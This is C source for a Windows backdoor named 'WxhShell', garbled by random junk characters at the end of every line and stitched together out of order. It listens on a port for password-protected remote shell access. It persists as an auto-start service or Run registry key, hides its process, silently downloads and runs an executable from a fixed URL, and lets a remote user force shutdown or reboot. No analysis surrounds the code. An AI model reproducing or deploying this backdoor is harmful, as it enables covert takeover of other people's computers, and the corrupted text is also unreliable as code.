    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u9{SG^  
    if(Boot(SHUTDOWN)) 0GW69 z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5yyc 0UG  
    else { F}.R -j#  
    closesocket(wsh); ;}lsD1S:  
    ExitThread(0); J%]5C}v \  
    } "/G] M&  
    break; l)e6*sDZ,  
    } 6?ky~CV  
  // 获取shell Fh/psd  
  case 's': { Q\W)}  
    CmdShell(wsh); o5['5?i}/  
    closesocket(wsh); HZ2f|Y|T  
    ExitThread(0); &_q8F,I \<  
    break; (}5};v  
  } mPF<2:)wv  
  // 退出 4B9D  
  case 'x': { n%;4Fm?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s{OV-H  
    CloseIt(wsh); `z`=!1  
    break; `,O"^zR)z  
    } Es- =0gpK  
  // 离开 vmv6y*qU  
  case 'q': { 0 . UN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); baBPf{<  
    closesocket(wsh); Q;ZV`D/FA  
    WSACleanup(); ]4/C19Fe!  
    exit(1); IB$i ^  
    break; 7^V`B^Vu  
        } DR @yd,  
  } s?"\+b  
  } k0&FUO  
2Jky,YLcb  
  // 提示信息 fRxn,HyV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7|"l/s9,  
} Y3#8]Z_"}O  
  } V["'eJA,,  
n!sOKw  
  return; qC=9m[MI  
} 37biRXqLH  
JC`;hY  
// shell模块句柄 g\9&L/xDN  
int CmdShell(SOCKET sock) nI4oQE  
{ z0x^HDAeC  
STARTUPINFO si; ^?_MIS`4N  
ZeroMemory(&si,sizeof(si)); h@]{j_$u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i1X!G|Awfv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L8f_^ *,  
PROCESS_INFORMATION ProcessInfo; D-D8La?0p  
char cmdline[]="cmd"; W0;QufV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jd2 p~W  
  return 0; ]N,'3`&::  
} mq}UUk@  
uP$i2Cy  
// 自身启动模式  c_,pd  
int StartFromService(void) d04gmc&*  
{ zJh!Q**  
typedef struct 0$NzRPbH  
{ nTw:BU4jd  
  DWORD ExitStatus; G({5LjgW  
  DWORD PebBaseAddress; W9{;HGWS  
  DWORD AffinityMask; QCG-CzJ9 l  
  DWORD BasePriority; eY%Ep=J  
  ULONG UniqueProcessId; 1;+77<  
  ULONG InheritedFromUniqueProcessId; Q-A_8  
}   PROCESS_BASIC_INFORMATION; eoFG$X/PO  
V6+:g=@U-l  
PROCNTQSIP NtQueryInformationProcess; aK(e%Ed t"  
p.<d+S<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V3T.EW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h#Mx(q  
Hq~SRc~  
  HANDLE             hProcess; ?r*}1WsH  
  PROCESS_BASIC_INFORMATION pbi; ' R2*3<  
+3M1^:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?v-!`J>EF#  
  if(NULL == hInst ) return 0; 1FG"Ak}D  
[h_d1\ Cr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i-#Dc (9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )iVuac]E++  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TwF.UL@G%  
[,;O$j}  
  if (!NtQueryInformationProcess) return 0; ONZ(0H{ 1$  
qG2P?DR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e|>@ >F]K  
  if(!hProcess) return 0; QxuU3#l  
\F\xZ.r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,,1y0s0`  
(w+SmD  
  CloseHandle(hProcess); 7<L!" 2VB  
dtj b(*x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 82V;J 8T?  
if(hProcess==NULL) return 0; -O r\  
zTl,VIa3p  
HMODULE hMod; %tPy]{S..  
char procName[255]; aI|X~b  
unsigned long cbNeeded; KU Mk:5 c  
M$Rh]3vqR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L^PBcfg  
a1ps'^Qhh  
  CloseHandle(hProcess); ' QjJ^3A  
#s#BYbF  
if(strstr(procName,"services")) return 1; // 以服务启动 *5\'$;Rg  
hQz1zG`z7  
  return 0; // 注册表启动 =s*4y$%I  
} W6r3v)~  
b\kA  
// 主模块 ynf!1!4  
int StartWxhshell(LPSTR lpCmdLine) &OkPO|  
{ K@oyvJ$  
  SOCKET wsl; }7K~-  
BOOL val=TRUE; [\%a7ji#  
  int port=0; snNB;hkj  
  struct sockaddr_in door; ;TK$?hrv*1  
/n:Q>8^n'W  
  if(wscfg.ws_autoins) Install(); V}~',o<m  
|N3#of(  
port=atoi(lpCmdLine); %sPq*w.  
$Y\7E/T  
if(port<=0) port=wscfg.ws_port; %Na` \`L{F  
2S4SG\  
  WSADATA data; cXr_,>k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3qDbfO[  
L s3r( Tf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JuOCOl\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S\GxLW@x  
  door.sin_family = AF_INET; +D[C.is>]}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b.8T<@a  
  door.sin_port = htons(port); YY$Z-u(  
,Ij/ ^EC}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ??LE0i  
closesocket(wsl); X`-o0HG  
return 1; L)S V?FBx  
} -6X+:r`>u  
zz<o4b R  
  if(listen(wsl,2) == INVALID_SOCKET) { T-x9IoE  
closesocket(wsl); S!^I<#d K  
return 1; x^ cJ~e2  
} Fiw^twz5  
  Wxhshell(wsl); 3Tc90p l*t  
  WSACleanup(); Z Y5Pf 1  
!t{  
return 0; JW=q'ibR  
pX$ X8z%  
} F}@]Lq+  
)jjaY1E  
// 以NT服务方式启动 H;DjM;be  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7h:EU7  
{ ^gY'^2bzxu  
DWORD   status = 0; 9[ o$/x}  
  DWORD   specificError = 0xfffffff; EN,}[^Z  
-zzT:C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2E!Q5 l!j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *Uf>Xr&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;E!] /oY<  
  serviceStatus.dwWin32ExitCode     = 0; YM.  
  serviceStatus.dwServiceSpecificExitCode = 0; G c ,  
  serviceStatus.dwCheckPoint       = 0;  aN6HO  
  serviceStatus.dwWaitHint       = 0; x cZF_elt7  
q$`>[&I~)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  9/I xh?  
  if (hServiceStatusHandle==0) return; [o7Qr?RN  
=+[` 9  
status = GetLastError(); F[)tg#}@G  
  if (status!=NO_ERROR) g&8-X?^Q  
{ WY5HmNX3E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i'1 MZ%.  
    serviceStatus.dwCheckPoint       = 0; I= cayR  
    serviceStatus.dwWaitHint       = 0; PIoBKCJ  
    serviceStatus.dwWin32ExitCode     = status; 23a:q{R  
    serviceStatus.dwServiceSpecificExitCode = specificError; |1e//*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }KNBqPo4B  
    return; ZqjLZ9?q  
  } EN8xn9M?  
D^U?!S&4~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U]9k,#  
  serviceStatus.dwCheckPoint       = 0; WZP1g kX&M  
  serviceStatus.dwWaitHint       = 0; b?, =|H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ov >5+"q)  
} K*p3#iB  
3BF3$_u)o  
// 处理NT服务事件,比如:启动、停止 C AN1~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nV8iYBBym  
{ ,s:viXk  
switch(fdwControl) _NpxV'E  
{ U8,pe;/ln`  
case SERVICE_CONTROL_STOP: dOKe}?}==  
  serviceStatus.dwWin32ExitCode = 0; Q|U [|U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kQn}lD  
  serviceStatus.dwCheckPoint   = 0; Lzcea+*uw  
  serviceStatus.dwWaitHint     = 0; ~]n=TEJ>  
  { H!l 9a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wLvM<p7OX  
  } IABF_GwF  
  return; CT'#~~QB  
case SERVICE_CONTROL_PAUSE: XPnHi@x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0JqvV  
  break; eF' l_*  
case SERVICE_CONTROL_CONTINUE: g yT0h?xDt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;Sp/N4+  
  break; H6/gRv@  
case SERVICE_CONTROL_INTERROGATE: 2R;#XmKS  
  break; x,fL656t  
}; WSGho(\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k<NxI\s8]  
} M)H*$!x}>  
7" )~JBH  
// 标准应用程序主函数 {A)9ePgv!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ktp<o.f[  
{ Q-1 Xgw!  
aY6F4,7/B  
// 获取操作系统版本 vskp1Wi(  
OsIsNt=GetOsVer(); upZf&4 I8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &VG  
iqN?'8  
  // 从命令行安装 ^ohIJcI-  
  if(strpbrk(lpCmdLine,"iI")) Install();  P.mlk>r  
k^zU;  
  // 下载执行文件 ^uPg71r:  
if(wscfg.ws_downexe) { WF2t{<]^e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ynp#3 r  
  WinExec(wscfg.ws_filenam,SW_HIDE); _1~pG)y$U  
} Vjd>j; H  
Tk `|{Ph0  
if(!OsIsNt) { vcaPd}nf  
// 如果时win9x,隐藏进程并且设置为注册表启动 `}rk1rl6  
HideProc(); ?I\,RiZkz^  
StartWxhshell(lpCmdLine); %36@1l-N  
} #qxo1uV(c  
else $R:Q R?   
  if(StartFromService()) vUDMl Z  
  // 以服务方式启动 432]yhQ  
  StartServiceCtrlDispatcher(DispatchTable); yD@eT:lyi  
else 5du xW>D  
  // 普通方式启动 fVdu9 l  
  StartWxhshell(lpCmdLine); eo.B0NZsF  
V7cr%tY5  
return 0; mU.c!|Y  
} Dv&K3^~Rfb  
p%K(dA  
t6lwKK  
x0)WrDb  
=========================================== r\)bN4-g  
C;.,+(G  
<;Tr   
77ztDQDtM  
Ds#BfP7a  
,J:Ro N_:  
" q>5j (,6F  
cS Qb3}a\  
#include <stdio.h> Fh|{ib  
#include <string.h> yhs:.h  
#include <windows.h> OB*V4Yv  
#include <winsock2.h> {<?8Y  
#include <winsvc.h> !(Y,2{  
#include <urlmon.h> G.PRPl  
'K#ndCGJ$  
#pragma comment (lib, "Ws2_32.lib") %joL}f[  
#pragma comment (lib, "urlmon.lib") <Y$( l szT  
ydAiH*>  
#define MAX_USER   100 // 最大客户端连接数 `PSjk F(  
#define BUF_SOCK   200 // sock buffer Xg* ](>/\,  
#define KEY_BUFF   255 // 输入 buffer V)vik  
8IE^u<H(:  
#define REBOOT     0   // 重启 %Y>E  
#define SHUTDOWN   1   // 关机 &So1;RR,_M  
y0~ttfv  
#define DEF_PORT   5000 // 监听端口 sV\K[4HG  
dlIYzO<  
#define REG_LEN     16   // 注册表键长度 ZDov2W  
#define SVC_LEN     80   // NT服务名长度 @PctBS<s  
(NN;1{DB8  
// 从dll定义API RgZ9ZrE\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L0GQH;Y,h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "fW }6pS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Lj3Pp$h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U]@?[+I0]  
,]]*}4[r  
// wxhshell配置信息 8_"NF%%(n  
struct WSCFG { (OA4H1DL^  
  int ws_port;         // 监听端口 )4m`Ya,E3  
  char ws_passstr[REG_LEN]; // 口令 d`=LZio  
  int ws_autoins;       // 安装标记, 1=yes 0=no BRM!g9  
  char ws_regname[REG_LEN]; // 注册表键名 W|y;Kxy  
  char ws_svcname[REG_LEN]; // 服务名 5pK _-:?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0G0(g,3p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Hmnxm gx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {^1''  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;47z.i&T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sx}S,aIU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !&NrbiuN  
`uH7~ r^  
}; JbQY{z!  
x*=1C,C  
// default Wxhshell configuration * ^V?u  
struct WSCFG wscfg={DEF_PORT, 5;,h8vW  
    "xuhuanlingzhe", "/mt uU3rt  
    1, O?cU6u;W  
    "Wxhshell", b4WH37,lA  
    "Wxhshell", YPf?  
            "WxhShell Service", ?~!9\dek,  
    "Wrsky Windows CmdShell Service", n?;rWq"  
    "Please Input Your Password: ", xu%eg]  
  1, 1<5Ug8q  
  "http://www.wrsky.com/wxhshell.exe", tC5-^5[y  
  "Wxhshell.exe" UGj |)/  
    }; fc9@l a  
]5Dh<QY&.  
// 消息定义模块 -V;BkE76  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Hmt2~>FI[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aB?usVoS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aT(_c/t.  
char *msg_ws_ext="\n\rExit."; R n]xxa'  
char *msg_ws_end="\n\rQuit."; +jyGRSo  
char *msg_ws_boot="\n\rReboot..."; X6 N&:<  
char *msg_ws_poff="\n\rShutdown..."; 7 nFOV Z  
char *msg_ws_down="\n\rSave to "; a^pbBDi W  
Jazgn5  
char *msg_ws_err="\n\rErr!"; A.dbb'^  
char *msg_ws_ok="\n\rOK!"; 'W yWO^Bdk  
akU2ToP  
char ExeFile[MAX_PATH]; 4^M"V5tDx  
int nUser = 0; :O$bsw:3w<  
HANDLE handles[MAX_USER]; OZnKJ<  
int OsIsNt; ^YropzHZ4E  
&i.sSqSI5  
SERVICE_STATUS       serviceStatus; 7GWOJ^)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7CvBE;i  
nosD1sS.K8  
// 函数声明 %^vT7c>  
int Install(void); !!H"B('m  
int Uninstall(void); /XEW]/4  
int DownloadFile(char *sURL, SOCKET wsh); :dAd5v2f  
int Boot(int flag); W)/^*, Q7  
void HideProc(void); O#^H.B  
int GetOsVer(void); 7t:tS7{}  
int Wxhshell(SOCKET wsl); .V?[<}OJn  
void TalkWithClient(void *cs); =I)43ah d  
int CmdShell(SOCKET sock); ^W,5A;*3  
int StartFromService(void); (6Z^0GL  
int StartWxhshell(LPSTR lpCmdLine); +E_yEH7_)  
{svo!pN:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 46Sz#^y P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {G VA4=UAE  
s&(;  
// 数据结构和表定义 y,3ZdY"  
SERVICE_TABLE_ENTRY DispatchTable[] = IhYR4?e  
{ jWv'`c  
{wscfg.ws_svcname, NTServiceMain}, Np/\ }J&IF  
{NULL, NULL} Zo yO[#  
}; V L$ T  
$ VP1(C  
// 自我安装 hW< v5!,  
int Install(void) @q q"X'3t  
{ ,0 q1Id  
  char svExeFile[MAX_PATH]; ]MosiMJF  
  HKEY key; h0@a"DqK  
  strcpy(svExeFile,ExeFile); f$ xp74hw3  
d6YXITL)\>  
// 如果是win9x系统,修改注册表设为自启动 2_+>a"8Y  
if(!OsIsNt) { 6 AGZ)gX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hN &?x5aC>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bhd)# P  
  RegCloseKey(key); JHt U"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I}3F'}JV<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g}xL7bTlI>  
  RegCloseKey(key); Oo}h:3?  
  return 0; pB 8D  
    } Y}N\|*ye-  
  } "4)N]Nj  
} "+- 'o+  
else { K+F"VW*?  
{YzCgf  
// 如果是NT以上系统,安装为系统服务 f 7lj,GAZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yXJ25Axb  
if (schSCManager!=0) DfD >hf/  
{ 2!Dz9m3  
  SC_HANDLE schService = CreateService E,}{iqAb  
  ( 7|DG1p9C  
  schSCManager, v{VF>qE P  
  wscfg.ws_svcname, og5VB  
  wscfg.ws_svcdisp, )hXTgUZa  
  SERVICE_ALL_ACCESS, !m+Pd.4TaB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SG&,o =I$  
  SERVICE_AUTO_START, L(VFzPkY%  
  SERVICE_ERROR_NORMAL, q[,p#uJ]  
  svExeFile, ~Ld5WEp k3  
  NULL, 49~d6fH  
  NULL, &>,;ye>A  
  NULL, fRQ,Z  
  NULL, 0\P5=hD)K  
  NULL >.d/@3 '  
  ); o$sD9xx  
  if (schService!=0) %o0b~R  
  { P0,]`w  
  CloseServiceHandle(schService); oAQQ OtpZN  
  CloseServiceHandle(schSCManager); hul,Yd) Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6dRhK+|  
  strcat(svExeFile,wscfg.ws_svcname); %^IQ<   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )8@-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j Q5F}  
  RegCloseKey(key); zjQ746<&)i  
  return 0; 73;Y(uh9  
    } Q[biy{(b8  
  } L 0fe  
  CloseServiceHandle(schSCManager); .B:ZyTI  
} K381B5_h  
} -e/}DGL  
!C#oZU]P  
return 1; f+cb83}n]  
} QxYm3x5  
t0m;tb bg  
// 自我卸载 q? ' 4&  
int Uninstall(void) "GO!^ZG]  
{ eU1F7LS  
  HKEY key; ez ,.-@O  
,|:.0g[n  
if(!OsIsNt) { 0K%okq|n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *[Z`0AgP  
  RegDeleteValue(key,wscfg.ws_regname); >GGM76vB=,  
  RegCloseKey(key); !p&<.H_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `Nx@MPo  
  RegDeleteValue(key,wscfg.ws_regname); Z7a@$n3h  
  RegCloseKey(key); .9nqJ7]  
  return 0; yE8D^M|g  
  } !kovrvM6F  
} .xJ54Vz  
} K%v:giN$l`  
else { D$hQ-K  
4=L>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L|CdTRgRCB  
if (schSCManager!=0) kpgA2u7  
{ n/_q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I%YwG3uR  
  if (schService!=0) =!'9TS  
  { ~T_|?lU`R  
  if(DeleteService(schService)!=0) { M\R+:O&  
  CloseServiceHandle(schService); IVNH.g'  
  CloseServiceHandle(schSCManager); v`A)GnNiN  
  return 0; |OH*c3~r  
  } r mX*s} B  
  CloseServiceHandle(schService); Hd~g\  
  } /mkT7,]  
  CloseServiceHandle(schSCManager); a{kJ`fK   
} wpK1nA+7N  
} ,1sbY!&ekL  
yYP_TuNa  
return 1; e )0 ]WJ  
} & FhJ%JK  
"iSY;y o  
// 从指定url下载文件 ^ Ps!  
int DownloadFile(char *sURL, SOCKET wsh) >+M[!;m}  
{ 8^UF0>`'  
  HRESULT hr; jY=y<R_oK  
char seps[]= "/"; J&A1]T4d  
char *token; Ib..X&N2  
char *file; <?.eU<+O`S  
char myURL[MAX_PATH]; & kC  
char myFILE[MAX_PATH]; /~NX<Ye&  
A6z ,6v6  
strcpy(myURL,sURL);  d$$5&a  
  token=strtok(myURL,seps); q} e#L6cM  
  while(token!=NULL) >(RkoExO/  
  { _ $F=A  
    file=token; w+)${|N?  
  token=strtok(NULL,seps); <:9 ts@B  
  } .LDZqWr-  
//7YtK6  
GetCurrentDirectory(MAX_PATH,myFILE); eFiG:LS7  
strcat(myFILE, "\\"); [7I:Dm  
strcat(myFILE, file); d A)T>  
  send(wsh,myFILE,strlen(myFILE),0); jFN0xGZ  
send(wsh,"...",3,0); #]}Ii{1?Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kv@P Uzu  
  if(hr==S_OK) Nf] ?hfJ  
return 0; ;fNCbyg4 I  
else $s7U |F,I  
return 1; >Scyc-n  
0AO^d[v  
} 8_%GH}{  
AG,><UP  
// 系统电源模块 F$t]JM  
int Boot(int flag) k4q":}M  
{ @[r[l#4yUi  
  HANDLE hToken; \!^=~` X-  
  TOKEN_PRIVILEGES tkp; apL$`{>US  
aO1^>hy  
  if(OsIsNt) { =Y2 Rht  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4/(#masIL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eo]nkyYDP  
    tkp.PrivilegeCount = 1; IWv(G Qx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wpZ"B+oK!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1M`E.Ztw*  
if(flag==REBOOT) { H:DR?'yW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [%K6-\S  
  return 0; x1 |/  
} 9y!0WZE{e  
else { ]+I9{%zB%8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9lq5\ tL-  
  return 0; .YF1H<gwa  
} !ZTghX}D  
  } +R*DE5dz  
  else { ai<qK3!O  
if(flag==REBOOT) { HYdM1s6vo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sQgz}0_= )  
  return 0; QM(xMq  
} 38w^=" -T  
else { lj<Sa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p-s\D_  
  return 0; xa)p ,  
} =;Q/bD->  
} $z$^ yjL  
$@Vn+| Ix  
return 1; cSPQ NYU:  
} FJ0I&FyWs  
Jr5S8 c|"  
// win9x进程隐藏模块 9QU\J0c/  
void HideProc(void) ZUI6VM  
{ qx#M6\L!  
YrL(4 Nt8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UBL{3s^"  
  if ( hKernel != NULL ) Z1fY' f  
  { ()aCE^C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U`6|K$@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O:0{vu9AQ  
    FreeLibrary(hKernel); bSe\d~{  
  } q(n"r0)=  
`NtW+v  
return; vEI{AmogRx  
} c0o]O[  
s*rR> D:  
// 获取操作系统版本 WOn53|GQK  
int GetOsVer(void) }ktIG|GC  
{ 6w<rSUd'  
  OSVERSIONINFO winfo; ho=!Yy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qt L]x -O  
  GetVersionEx(&winfo); y[b 8rv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q"I(3 tp9[  
  return 1;  bUcp8  
  else `}ak]Z_  
  return 0; ;a?<7LIx  
} uB)q1QQsqp  
`t/j6 e]  
// 客户端句柄模块 _*H Hdd5I  
int Wxhshell(SOCKET wsl) CR$wzjP j  
{ (?l ]}p^[  
  SOCKET wsh; X$@`4  
  struct sockaddr_in client; LcGKYl(\K  
  DWORD myID; I0x)d`  
,yC..aI  
  while(nUser<MAX_USER) K<^p~'f4P  
{ g>t1rZ  
  int nSize=sizeof(client); bll[E}E|3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #ZJ 1\Ov  
  if(wsh==INVALID_SOCKET) return 1; :6Z2@9.}w  
+6uf6&.@~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )h@PRDI_  
if(handles[nUser]==0) 4w+AOWjd  
  closesocket(wsh); S TWH2_`  
else kl]V_ 7[  
  nUser++; ,ciX *F"  
  } ?t%{2a<X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s~{rC{9X  
<eXGtD  
  return 0; {m*lt3$k  
} bD{tsxm[9  
q0 }u%Yz  
// 关闭 socket =@d#@  
void CloseIt(SOCKET wsh) CcUF)$kz  
{ w1I07 (  
closesocket(wsh); 2-@)'6"n  
nUser--; Z5xQ -T`  
ExitThread(0); DinZ Z  
} &.E/%pQ`  
AO8 #l YP?  
// 客户端请求句柄 c>$d!IKCL  
void TalkWithClient(void *cs) ?1L<VL=b  
{ _GkLspSaU  
f+9eB  
  SOCKET wsh=(SOCKET)cs; wn@~80)$  
  char pwd[SVC_LEN]; 8=$XhC  
  char cmd[KEY_BUFF]; QKjn/%l"@  
char chr[1]; GeJ}myD O  
int i,j; s'yR 2JYv  
2Vti|@JYp  
  while (nUser < MAX_USER) { Jk%5Fw0  
C&yZ`[K  
if(wscfg.ws_passstr) { ^ ##j {h7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R[zN?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ueJ^Q,-t  
  //ZeroMemory(pwd,KEY_BUFF); _]@u)$  
      i=0; $,K@xq5  
  while(i<SVC_LEN) { rG?5z"  
q;#AlquY@  
  // 设置超时 ;SE*En  
  fd_set FdRead; qh.F}9o  
  struct timeval TimeOut; 'o)Y!VYnJF  
  FD_ZERO(&FdRead); 1?BLL;[a8  
  FD_SET(wsh,&FdRead); *f 7rLM*  
  TimeOut.tv_sec=8; hV~M!vFxA  
  TimeOut.tv_usec=0; j1`<+YT<#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +c/!R|h=S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 693"Pg8b  
2->Lz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SZTn=\  
  pwd=chr[0];  p0W<K  
  if(chr[0]==0xd || chr[0]==0xa) { v' t'{g%  
  pwd=0; '4M{Xn}@  
  break; m!KEK\5M?  
  } NxF:s,a6  
  i++; W!$U{=  
    } |Ogh-<|<  
1qR$ Yr\  
  // 如果是非法用户,关闭 socket v)np.j0V7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E G+/2o+W  
} YZ<z lU  
qeFaY74S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mn03KF=n]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7HVENj_b+M  
8?8V;   
while(1) { <lR:^M[v5<  
{J)%6eL?  
  ZeroMemory(cmd,KEY_BUFF); 2OpA1$n6  
sSfP.R  
      // 自动支持客户端 telnet标准   x"sbm  
  j=0; D7nK"]HG;l  
  while(j<KEY_BUFF) { T%oJmp?0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -ysNo4#e&  
  cmd[j]=chr[0]; H ~3.F  
  if(chr[0]==0xa || chr[0]==0xd) { `D|])^"{  
  cmd[j]=0; `Kg!aN  
  break; v {r%/*  
  } $gnrd~v4e  
  j++; 4`"}0:t.  
    } 4 .c1  
QOK,-  
  // 下载文件 >yKz8SV#  
  if(strstr(cmd,"http://")) { QGI@5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %0 {_b68x  
  if(DownloadFile(cmd,wsh)) x*:VE57,z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y=|p}>.}  
  else %\HE1d5;  
